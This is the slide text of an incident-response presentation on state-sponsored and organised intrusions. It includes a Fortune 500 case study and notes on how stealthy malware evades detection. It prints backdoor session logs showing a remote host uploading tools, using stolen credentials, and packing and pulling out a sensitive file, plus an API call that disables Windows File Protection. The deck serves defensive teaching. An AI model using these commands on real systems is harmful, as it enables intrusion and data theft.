GOT SPIES IN YOUR WIRES? Agenda 2 2 Introduction Meat and - PowerPoint PPT Presentation

Marshall Heilman GOT SPIES IN YOUR WIRES?

Agenda 2 2  Introduction  Meat and Potatoes  Questions

Introduction 3 3

Evolution of Cyber Attacks 4 - Technical Problem - Unix Systems -- 1998 - Servers - Attacks Were a Nuisance - Non-organized - Technical/Business Problem - Windows Systems - Servers 1998 -- 2002 - Attacks Were About Money - Semi-Organized - Technical/Business/Legal Problem - Windows/Mac/Unix Systems - Client Systems / End Users (Phishing) 2002 -- Now - Attacks Are About Money - Attacks Are About Political Agenda - Highly-Organized

Got Spies In Your Wires? 5 5

So Does Everyone 6 6

Types of Attackers 7 Malicious Opportunistic Insider State Organized Sponsored Crime

Organization 8  Multiple groups responsible for specific activities Division of Labor  Militant  Money stolen from 100+ ATMs in 23 countries within Coordination a few hours  Bank account “topped up” as needed  Related data from multiple unrelated companies  Source address modification Real-time  Tools, tactics, and procedure changes Countermeasures  Massive exploitation  Malware enhancement

Motivation 9  $9 million – one weekend, one financial institution Money  Faster technology cycles (mean time to production) Economic  Technological superiority  Bargaining power  Unfair competition  Information gap  Political statement or influence Political  Bribery  Embarrassment  National infrastructure Cyber  Power grid Warfare  Utilities  Communications

Technology 10  Malware and applications Custom Tools  Tools built for specific jobs  Malware creation date within hours of compromise  Custom packed  $$$ Professional  Cutting edge anti-forensic techniques Grade Tools  Versioning  Multiple versions Change  Feature addition Management  Enhanced anti-forensic techniques  Anti-reverse engineering and forensics techniques Cutting Edge  VPN subversion Techniques  Multi-factor authentication bypass  Stealth techniques  Mathematical algorithm implementation

11 Case Study – Fortune 500 11

Case Study 12 12  FBI Notified Firm − Three victims − Data loss  Background − Victim users - key players in foreign acquisition deal − Billions of dollars at stake − Large, disparate global network − > 60,000 systems − Decentralized and immature security posture

Attack 13 13  Day 1: − Social engineering attack  Two users − Multiple backdoor variants & keystroke loggers uploaded − Malware installed − Network reconnaissance performed  Day 2: − Installed backdoors on five systems − Dumped cached/local passwords − More network reconnaissance performed

Attack 14 14  Day 3: − Social engineering attack  Third user − Malware installed − Passwords dumped from Active Directory DC  Weeks 1 – 16: − Lateral infection of multiple systems − Consistent data exfiltration  Weekly email/attachments from three targeted users  Weekly email/attachments from six other users  All recently accessed documents  All documents written to during specified timeframe  Large amounts of data from specific file share servers

Attack 15 15  Week 8: − Social engineering attack  Fourth user (no relation)  Accidental compromise (mail forwarding) − Malware installed − Brute force attack against multiple SQL servers (‘sa’ account) − SQL service account privileges leveraged for ‘xp_cmdshell’ execution − Local Administrator access gained − SQL database exfiltration

Attack 16 16  Week 13: − FBI notified firm − Investigation started − Enterprise IR tools deployed − Enterprise network monitoring program started  Week 16: − Data corruption program initiated − Attacker responded within days  Modified TTPs: malware, encryption, protocols, and source locations

Wrap Up 17 17  Comprehensive Scoping Of Incident Due To Enterprise Grade IR Tools  Network Monitoring Allowed For: − Traffic decryption − Attacker TTP modification discovery  Complete Domain Access  ~50 Compromised Systems  GBs Of Data Exfiltrated

Breaking and Entering 18 18  Reconnaissance − Web site mirroring − Data mining − Social networks − Automated information gathering  Initial Exploitation − Social engineering − Web browser exploitation  XSS  JS − Application exploitation  SQL injection  Remote file includes

Breaking and Entering 19 19

Breaking and Entering 20 20

Breaking and Entering 21 21  Privilege Escalation − Local admin rights − Findpass − Service exploitation  Lateral Movement − Pass-the-hash − Password cracking − Cached passwords − LM hashes − Kerberos attacks

Breaking and Entering 22 22 2010-Jan-06 14:26:49.135158 66.66.66.66-80 -> 10.10.10.10-2431 Command: Upload file c:\windows\system32\is.exe 2010-Jan-06 14:26:59.954409 10.10.10.10-2431 -> 66.66.66.66-80 Starting Upload 2010-Jan-06 14:27:10.588093 66.66.66.66-80 -> 10.10.10.10-2431 Command: Upload file c:\windows\system32\advhelp.dll 2010-Jan-06 14:27:20.016782 10.10.10.10-2431 -> 66.66.66.66-80 Starting Upload 2010-Jan-06 14:27:39.866201 66.66.66.66-80 -> 10.10.10.10-2431 Command: Getting Debug Information 768 2010-Jan-06 14:27:40.079833 10.10.10.10-2431 -> 66.66.66.66-80 Debug Info Processed Successfully 2010-Jan-06 14:27:48.901423 66.66.66.66-80 -> 10.10.10.10-2431 Command: cmd.exe /c "is.exe -i -v2 c064cf64e1cd6c0380def43ad17ad9c5" 2010-Jan-06 14:28:18.164456 66.66.66.66-80 -> 10.10.10.10-2431 Command: net use \\SYSTEM2\ipc$ "123456789" /user:DOMAIN\compromised_account 2010-Jan-06 14:28:21.284463 10.10.10.10-2431 -> 66.66.66.66-80 The command completed successfully.

Grand Theft 23 23 2010-Jan-06 15:23:46.848138 66.66.66.66-80 -> 10.10.10.10-2431 Command: makecab "\\SYSTEM1\c$\SENSITIVE\Report_2010.doc" c:\windows\system32\slo2.rar 2010-Jan-06 15:32:28.771605 66.66.66.66-80 -> 10.10.10.10-2431 Command: cmd.exe /c "copy \\SYSTEM1\c$\windows\system32\slo2.rar c:\windows\system32\" 2010-Jan-06 15:32:30.381552 66.66.66.66-80 -> 10.10.10.10-2431 Command: List Processes 2010-Jan-06 15:32:30.589835 10.10.10.10-2431 -> 66.66.66.66-80 0 [System Process] 0 2 ----- <SNIP> ----- 2010-Jan-06 15:33:21.837765 66.66.66.66-80 -> 10.10.10.10-2431 Command: Download file c:\windows\system32\slo2.rar 2010-Jan-06 15:52:17.705164 66.66.66.66-80 -> 10.10.10.10-2431 Command: Delete File c:\windows\system32\slo2.rar 2010-Jan-06 15:52:17.921531 10.10.10.10-2431 -> 66.66.66.66-80 Delete file successful

How Does This Happen? 24 24 Intern al Web Management Compliance HIDS / HIPS Oversight Anti-virus Firewalls Software IDS / IPS Logging Installed Enabled Proxies Most Companies

Incident Detections 25 Incident Detections Last Year (18) 12% 6% 35% Mandiant Government Internal Other 47% 25

Malware Trends 26 MALWARE DETECTION APT MALWARE RATE BY A/V COMMUNICATION

The Good Old Days Are Gone … 27

Hiding In Network Traffic 28 28  Ability To Masquerade As Legitimate MSN Messenger Traffic − Traffic analysis confirmed traffic from legitimate MSN Messenger client − Communicates with Microsoft servers (Live or Hotmail) − Malware “chats” with attacker − Traffic is encrypted within MSN Messenger client traffic format − Capabilities: interactive reverse backdoor, file upload and download − Binary timestomped to match kernel32.dll

Hiding In Network Traffic 29 29  Ability To Masquerade As Legitimate DNS Traffic − Tunnels data over UDP/53 via DNS queries − Data chunked into smaller size (avoids TCP problem) − Requires 4-way challenge/response − Supports remote command shell and exit commands only − Binary timestomped to match cmd.exe − Primitive

Hiding In Plain Sight 30 30  DLL Registered For Persistence  Installed As Microsoft Word Addin − Loads whenever Microsoft Word is started  Executes Download Routine − Limited native capabilities  Traffic Disguised As Legitimate HTTP Traffic − Commands encrypted as HTML comments  Authenticating Proxy? No Problem! − Iexplore.exe code injection

Blatant Disregard For System Files 31 31  Windows File Protection? No Problem!  Undocumented API In sfc_os.dll: ordinal 5: SFCFileException − Disables SFC for 1 minute, allowing specified file to be modified SetSfcFileException(0, L"c:\\windows\\hh.exe",-1);  Binary To Modify Specified On Cmdline  Malware Injects Cmd Into Winlogon.exe (Necessary To Call Function)